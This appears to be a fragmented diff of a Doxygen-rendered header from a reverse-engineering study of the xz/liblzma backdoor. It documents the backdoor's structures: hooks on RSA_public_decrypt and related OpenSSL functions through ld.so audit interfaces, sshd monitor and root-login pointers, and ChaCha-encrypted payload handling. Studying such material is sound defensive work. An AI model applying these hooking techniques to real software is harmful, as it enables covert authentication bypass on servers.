+ 575 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
+ 576 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
+ 577 assert_offset(
elf_info_t, data_segment_start, 0xB8);
+ 578 assert_offset(
elf_info_t, data_segment_size, 0xC0);
+ 579 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
+
+ 581 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
+ 582 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
+ 583 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
+ 584 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
+ 585 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
+ 586 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
+
+
+
+ 590 u32 resolved_imports_count;
+
+ 592 size_t (*malloc_usable_size)(
void *ptr);
+ 593 uid_t (*getuid)(void);
+ 594 void (*exit)(
int status);
+ 595 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+ 596 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+ 597 int (*system)(
const char *command);
+ 598 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
+
+ 600 int nfds, fd_set *readfds, fd_set *writefds,
+ 601 fd_set *exceptfds,
const struct timespec *timeout,
+ 602 const sigset_t *sigmask);
+ 603 ssize_t (*read)(
int fd,
void *buf,
size_t count);
+ 604 int *(*__errno_location)(void);
+ 605 int (*setlogmask)(
int mask);
+ 606 int (*shutdown)(
int sockfd,
int how);
+ 607 void *__libc_stack_end;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 625 typedef int (*pfn_RSA_public_decrypt_t)(
+ 626 int flen,
unsigned char *from,
unsigned char *to,
+ 627 RSA *rsa,
int padding);
+ 628 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
+ 629 typedef void (*pfn_RSA_get0_key_t)(
+
+ 631 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
+
+
+ 634 pfn_RSA_public_decrypt_t RSA_public_decrypt;
+ 635 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
+ 637 void (*RSA_get0_key_null)(
+ 638 const RSA *r,
const BIGNUM **n,
+ 639 const BIGNUM **e,
const BIGNUM **d);
+
+
+
+ 655 void (*DSA_get0_pqg)(
+ 656 const DSA *d,
const BIGNUM **p,
+ 657 const BIGNUM **q,
const BIGNUM **g);
+ 658 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
+ 659 size_t (*EC_POINT_point2oct)(
+ 660 const EC_GROUP *group,
const EC_POINT *p,
+ 661 point_conversion_form_t form,
unsigned char *buf,
+ 662 size_t len, BN_CTX *ctx);
+ 663 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
+ 664 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
+ 665 EVP_MD *(*EVP_sha256)(void);
+ 666 pfn_RSA_get0_key_t RSA_get0_key;
+ 667 int (*BN_num_bits)(
const BIGNUM *a);
+ 668 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+
+ 670 const unsigned char *key,
size_t keylen);
+ 671 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+ 672 int (*EVP_DigestVerifyInit)(
+ 673 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+ 674 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+ 675 int (*EVP_DigestVerify)(
+ 676 EVP_MD_CTX *ctx,
const unsigned char *sig,
+ 677 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
+ 678 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+ 679 void (*EVP_PKEY_free)(EVP_PKEY *key);
+ 680 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+ 681 int (*EVP_DecryptInit_ex)(
+ 682 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
+ 683 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
+ 684 int (*EVP_DecryptUpdate)(
+ 685 EVP_CIPHER_CTX *ctx,
unsigned char *out,
+ 686 int *outl,
const unsigned char *in,
int inl);
+ 687 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
+ 688 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+ 689 const EVP_CIPHER *(*EVP_chacha20)(void);
+ 690 RSA *(*RSA_new)(void);
+ 691 BIGNUM *(*BN_dup)(
const BIGNUM *from);
+ 692 BIGNUM (*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
+ 693 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
+ 695 const void *data,
size_t count,
unsigned char *md,
+ 696 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
+
+
+ 699 const unsigned char *m,
unsigned int m_len,
+ 700 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
+ 701 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
+ 702 void (*RSA_free)(RSA *rsa);
+ 703 void (*BN_free)(BIGNUM *a);
+
+ 705 u64 resolved_imports_count;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 749 PADDING(
sizeof(
void *));
+ 750 void *mm_answer_authpassword_start;
+ 751 void *mm_answer_authpassword_end;
+ 752 void *monitor_req_authpassword;
+ 753 PADDING(
sizeof(
void *));
+ 754 void *mm_answer_keyallowed_start;
+ 755 void *mm_answer_keyallowed_end;
+ 756 void *monitor_req_keyallowed_ptr;
+ 757 PADDING(
sizeof(
void *));
+ 758 void *mm_answer_keyverify_start;
+ 759 void *mm_answer_keyverify_end;
+ 760 void *monitor_req_keyverify_ptr;
+
+
+
+
+
+
+ 767 PADDING(
sizeof(
void *));
+ 768 void *mm_request_send_start;
+ 769 void *mm_request_send_end;
+ 770 PADDING(
sizeof(u32));
+ 771 PADDING(
sizeof(u32));
+
+ 773 int *permit_root_login_ptr;
+
+
+
+
+ 778 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+ 779 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+ 780 assert_offset(
sshd_ctx_t, monitor_req_authpassword, 0x38);
+ 781 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+ 782 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+ 783 assert_offset(
sshd_ctx_t, monitor_req_keyallowed_ptr, 0x58);
+ 784 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+ 785 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+ 786 assert_offset(
sshd_ctx_t, monitor_req_keyverify_ptr, 0x78);
+ 787 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
+
+ 789 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
+ 790 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
+
+ 792 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
+ 793 assert_offset(
sshd_ctx_t, STR_password, 0xD0);
+ 794 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
+
+
+
+
+
+ 800 char *STR_Connection_closed_by;
+
+ 802 char *STR_authenticating;
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
- 821 void* sshd_link_map_l_audit_any_plt_addr;
- 822 u8 link_map_l_audit_any_plt_bitmask;
-
- 824 ptrdiff_t _dl_audit_offset;
- 825 ptrdiff_t _dl_naudit_offset;
-
- 827 void *libcrypto_l_name;
- 828 void *_dl_audit_symbind_alt;
- 829 size_t _dl_audit_symbind_alt__size;
- 830 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
- 831 pfn_RSA_public_decrypt_t hook_EVP_PKEY_set1_RSA;
- 832 pfn_RSA_get0_key_t hook_RSA_get0_key;
-
-
-
-
- 837 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
- 838 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
- 839 assert_offset(
ldso_ctx_t, _dl_audit_offset, 0x70);
- 840 assert_offset(
ldso_ctx_t, _dl_naudit_offset, 0x78);
- 841 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
- 842 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
- 843 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
- 844 assert_offset(
ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
- 845 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
- 846 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
- 848 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 871 uintptr_t (*symbind64)(
- 872 Elf64_Sym *sym,
unsigned int ndx,
- 873 uptr *refcook, uptr *defcook,
- 874 unsigned int flags,
const char *symname);
- 875 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
- 876 pfn_RSA_get0_key_t hook_RSA_get0_key;
-
- 882 PADDING(
sizeof(
void *));
- 883 PADDING(
sizeof(
void *));
-
-
- 894 PADDING(
sizeof(
void *));
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 947 Elf64_Ehdr *dynamic_linker_ehdr;
- 948 void **__libc_stack_end;
-
-
-
- 952 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1017 struct link_map *liblzma_map;
- 1018 struct link_map *libcrypto_map;
- 1019 struct link_map *libsystemd_map;
- 1020 struct link_map *libc_map;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1088 pfn_RSA_public_decrypt_t* RSA_public_decrypt_plt;
- 1093 pfn_EVP_PKEY_set1_RSA_t* EVP_PKEY_set1_RSA_plt;
- 1098 pfn_RSA_get0_key_t* RSA_get0_key_plt;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1153 typedef union __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1219 u8 decrypted_secret_data[57];
-
-
-
-
-
-
- 1226 assert_offset(
key_ctx_t, payload, 0x15);
- 1227 static_assert(
sizeof(
key_ctx_t) == 0x2B8);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1275 PADDING(
sizeof(u64));
-
- 1282 PADDING(
sizeof(u64));
- 1283 PADDING(
sizeof(u64));
-
- 1290 PADDING(
sizeof(u64));
-
-
-
-
-
-
-
-
-
- 1305 PADDING(
sizeof(u64));
- 1306 lzma_allocator allocator;
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 838 void *sshd_host_keys;
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 890 u8 shift_operations[31];
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 916 PADDING(
sizeof(
void*));
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1020 void (*_dl_audit_symbind_alt)(
struct link_map *l,
const ElfW(Sym) *ref,
void **value, lookup_t result);
+
+ 1030 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+ 1036 pfn_RSA_public_decrypt_t hook_EVP_PKEY_set1_RSA;
+ 1041 pfn_RSA_get0_key_t hook_RSA_get0_key;
+
+ 1043 u64 hooks_installed;
+
+
+ 1046 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+ 1047 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+ 1048 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+ 1049 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+ 1050 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+ 1051 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+ 1052 assert_offset(
ldso_ctx_t, _dl_audit_ptr, 0x70);
+ 1053 assert_offset(
ldso_ctx_t, _dl_naudit_ptr, 0x78);
+ 1054 assert_offset(
ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
+ 1056 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
+ 1057 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+ 1058 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+ 1059 assert_offset(
ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
+ 1060 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+ 1061 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
+ 1063 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1086 uintptr_t (*symbind64)(
+ 1087 Elf64_Sym *sym,
unsigned int ndx,
+ 1088 uptr *refcook, uptr *defcook,
+ 1089 unsigned int flags,
const char *symname);
+ 1090 pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+ 1091 pfn_RSA_get0_key_t hook_RSA_get0_key;
+
+ 1096 PADDING(
sizeof(
void *));
+ 1097 PADDING(
sizeof(
void *));
+
+
+ 1106 PADDING(
sizeof(
void *));
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1159 Elf64_Ehdr *dynamic_linker_ehdr;
+ 1160 void **__libc_stack_end;
+
+
+
+ 1164 assert_offset(
main_elf_t, dynamic_linker_ehdr, 0x8);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1228 struct link_map *liblzma_map;
+ 1229 struct link_map *libcrypto_map;
+ 1230 struct link_map *libsystemd_map;
+ 1231 struct link_map *libc_map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
- 1318 u8 *offset_to_match;
- 1319 u32 *output_register_to_match;
- 1320 u8 *output_register;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1364 typedef union __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
-
- 1413 BOOL is_64bit_operand,
-
-
-
-
-
-
-
- 1436 BOOL is_64bit_operand,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1502 EncodedStringId encoded_string_id,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1556 FuncFindType find_mode);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1430 u8 decrypted_secret_data[57];
+
+
+
+
+
+
+ 1437 assert_offset(
key_ctx_t, payload, 0x15);
+ 1438 static_assert(
sizeof(
key_ctx_t) == 0x2B8);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1486 PADDING(
sizeof(u64));
+
+ 1493 PADDING(
sizeof(u64));
+ 1494 PADDING(
sizeof(u64));
+
+ 1501 PADDING(
sizeof(u64));
+
+
+
+
+
+
+
+
+
+ 1516 PADDING(
sizeof(u64));
+ 1517 lzma_allocator allocator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1547 u8 *output_register;
+
+
+
+
+
-
-
-
-
-
-
- 1611 extern char *check_argument(
char arg_first_char,
char* arg_name);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1692 unsigned num_relocs,
- 1693 unsigned reloc_type,
- 1694 EncodedStringId encoded_string_id);
-
-
-
-
-
-
- 1728 StringXrefId xref_id,
- 1729 void **pOutCodeStart,
void **pOutCodeEnd,
-
-
- 1732 BOOL *pCheckPrologue);
-
-
-
- 1748 EncodedStringId *stringId_inOut,
- 1749 void *rodata_start_ptr);
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1644 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+ 1667 BOOL is_64bit_operand,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1733 EncodedStringId encoded_string_id,
+
+
+
+
+
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+ 1787 FuncFindType find_mode);
+
+
-
-
-
-
-
-
- 1819 unsigned shift_count, BOOL start_from_call);
-
-
-
- 1833 unsigned operation_index,
- 1834 unsigned shift_count,
- 1835 int flags, u8 *code);
-
-
-
-
- 1850 unsigned shift_count,
unsigned operation_index);
-
-
- 1895 u8 *call_site, u8 *code,
-
- 1897 unsigned shift_count,
unsigned operation_index);
-
-
-
- 1912 unsigned shift_count,
unsigned operation_index,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+ 1842 extern char *check_argument(
char arg_first_char,
char* arg_name);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1925 EncodedStringId encoded_string_id);
+
+
+
+
+
+
+ 1959 StringXrefId xref_id,
+ 1960 void **pOutCodeStart,
void **pOutCodeEnd,
+
+
+ 1963 BOOL *pCheckPrologue);
+
+
+
+ 1979 EncodedStringId *stringId_inOut,
+ 1980 void *rodata_start_ptr);
+
+
-
-
-
- 2010 struct link_map *libc,
-
-
-
-
-
-
-
+
+
+
+
+
+
+
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+ 2050 unsigned shift_count, BOOL start_from_call);
+
+
+
+ 2064 unsigned operation_index,
+ 2065 unsigned shift_count,
+ 2066 int flags, u8 *code);
-
-
- 2087 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
-
- 2128 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
+
+
+
+ 2081 unsigned shift_count,
unsigned operation_index);
+
+
+ 2126 u8 *call_site, u8 *code,
+
+ 2128 unsigned shift_count,
unsigned operation_index);
- 2141 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
-
-
-
-
-
-
-
-
-
-
- 2198 uptr *refcook, uptr *defcook,
-
- 2200 const char *symname);
-
-
-
-
-
- 2231 ptrdiff_t *libname_offset,
-
-
+
+
+ 2143 unsigned shift_count,
unsigned operation_index,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
- 2259 ptrdiff_t *libname_offset,
-
-
-
-
-
-
-
-
-
-
-
- 2306 ptrdiff_t libname_offset,
-
-
-
-
-
-
-
-
-
-
-
-
-
- 2349 void **host_keys_out);
-
-
-
-
-
-
- 2370 void **host_keys_out,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+ 2255 struct link_map *libc,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2332 extern EncodedStringId
get_string_id(
const char *string_begin,
const char *string_end);
+
+ 2373 extern unsigned int _get_cpuid_modified(
unsigned int leaf,
unsigned int *eax,
unsigned int *ebx,
unsigned int *ecx,
unsigned int *edx, u64 *caller_frame);
+
+ 2386 extern void _cpuid_gcc(
unsigned int level,
unsigned int *a,
unsigned int *b,
unsigned int *c,
unsigned int *d);
+
+
+
+
+
+
-
-
-
-
- 2439 static_assert(
sizeof(global_ctx) == 0x8);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:1247
-ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:1235
-u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:1241
-data passed to functions that access the backdoor data
Definition: xzre.h:960
-this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1006
-libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1051
-string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1056
-struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1011
-elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1041
-elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1046
-elf_info_t tmp_info
used for multiple ELFs
Definition: xzre.h:1037
-elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1031
-lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1061
-struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1016
-
+
+
+
+ 2443 uptr *refcook, uptr *defcook,
+
+ 2445 const char *symname);
+
+
+
+
+
+ 2476 ptrdiff_t *libname_offset,
+
+
+
+
+
+ 2504 ptrdiff_t *libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+ 2551 ptrdiff_t libname_offset,
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2594 void **host_keys_out);
+
+
+
+
+
+
+ 2615 void **host_keys_out,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2684 static_assert(
sizeof(global_ctx) == 0x8);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:1458
+ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:1446
+u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:1452
+data passed to functions that access the backdoor data
Definition: xzre.h:1172
+this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1217
+libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1262
+string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1267
+struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1222
+elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1252
+elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1257
+elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1248
+elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1242
+lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1272
+struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1227
+
PADDING(sizeof(void *))
set to addess of symbol .Llzma12_mode_map_part_1
-
-
-
-
-
-ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:1261
-ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:1267
-
-
-
-void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:295
-void * got_ptr
points to the Global Offset Table
Definition: xzre.h:299
-void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:306
-ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:315
-void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:310
-u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:319
-
-array of ELF handles
Definition: xzre.h:922
-elf_info_t * main
this is for sshd itself
Definition: xzre.h:927
-elf_info_t * tmp
used for multiple ELFs
Definition: xzre.h:933
-
-u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:453
-u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:382
-u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:428
-Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:432
-u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:470
-Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:394
-char * strtab
pointer to the ELF string table
Definition: xzre.h:402
-Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:386
-u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:466
-Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:378
-u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:390
-Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:410
-BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:420
-u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:448
-u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:436
-u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:424
-Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:406
-u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:398
-u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:414
-
-
-void * lzma_code_end
the shifter will use this address as the maximum search address any instruction beyond this address w...
Definition: xzre.h:773
-BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:747
-imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL and system functions
Definition: xzre.h:738
-u32 num_shifted_bits
number of bits copied
Definition: xzre.h:790
-void * lzma_code_start
the shifter will use this address as the minimum search address any instruction below this address wi...
Definition: xzre.h:765
-
-
-
-
-the payload header. also used as Chacha IV
Definition: xzre.h:1133
-the contents of the RSA 'n' field
Definition: xzre.h:1148
-
-
-
-
-
-
-void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:978
-EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:973
-void * xref
location of the instruction that referenced the string
Definition: xzre.h:986
-void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:982
-
-represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1117
-u32 index
Definition: xzre.h:1119
-u32 byte_index
Definition: xzre.h:1124
-u32 bit_index
Definition: xzre.h:1122
-
+
+
+
+
+
+void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1304
+void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1309
+void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1299
+
+ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:1472
+ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:1478
+
+
+
+void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:370
+void * got_ptr
points to the Global Offset Table
Definition: xzre.h:374
+void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:381
+ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:390
+void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:385
+u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:394
+
+array of ELF handles
Definition: xzre.h:1134
+elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1145
+elf_info_t * main
this is for sshd
Definition: xzre.h:1139
+
+u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:528
+u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:457
+u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:503
+Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:507
+u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:545
+Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:469
+char * strtab
pointer to the ELF string table
Definition: xzre.h:477
+Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:461
+u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
